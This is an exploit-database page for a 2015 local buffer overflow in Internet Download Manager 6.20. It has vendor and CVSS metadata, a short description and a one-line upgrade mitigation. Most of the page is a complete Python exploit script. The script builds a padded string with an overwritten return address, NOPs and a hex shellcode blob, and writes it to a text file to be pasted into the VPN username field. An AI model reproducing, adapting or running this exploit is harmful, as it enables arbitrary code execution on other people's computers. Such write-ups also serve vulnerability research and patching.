IDM v6.20 Local Buffer Overflow

vendor:

Internet Download Manager

by:

TUNISIAN CYBER

9.3

CVSS

HIGH

Buffer Overflow

120 (Buffer Copy without Checking Size of Input)

CWE

Product Name: Internet Download Manager

Affected Version From: 6.2

Affected Version To: 6.2

Patch Exists: YES

Related CWE: N/A

CPE: a:internet_download_manager:internet_download_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WinXp/Windows 7 Pro

2015

IDM v6.20 Local Buffer Overflow

IDM v6.20 Local Buffer Overflow is a local exploit which allows attackers to execute arbitrary code on vulnerable installations of Internet Download Manager. The vulnerability is due to a boundary error within the processing of the username field when configuring a VPN/Dial Up connection. By sending a specially crafted string, an attacker can overwrite the EIP register and control the flow of execution. This can be exploited to execute arbitrary code by sending a malicious string to the username field when configuring a VPN/Dial Up connection.

Mitigation:

Upgrade to the latest version of Internet Download Manager.

Source

Exploit-DB raw data:

#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: IDM v6.20 Local Buffer Overflow
#[+] Date: 27-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.internetdownloadmanager.com/
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Poc:http://i.imgur.com/7et4xSh.png
#[+] Create IDMLBOF.txt then open , copy the content then go to Options-VPN/Dial Up and paste it in the username field. 


from struct import pack
file="IDMLBOF.txt"
junk="\x41"*2313
eip = pack('<I',0x7C9D30D7)
nops = "\x90" * 3
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
"\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3"
"\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd"
"\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8"
"\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5"
"\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87"
"\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+shellcode)
writeFile.close()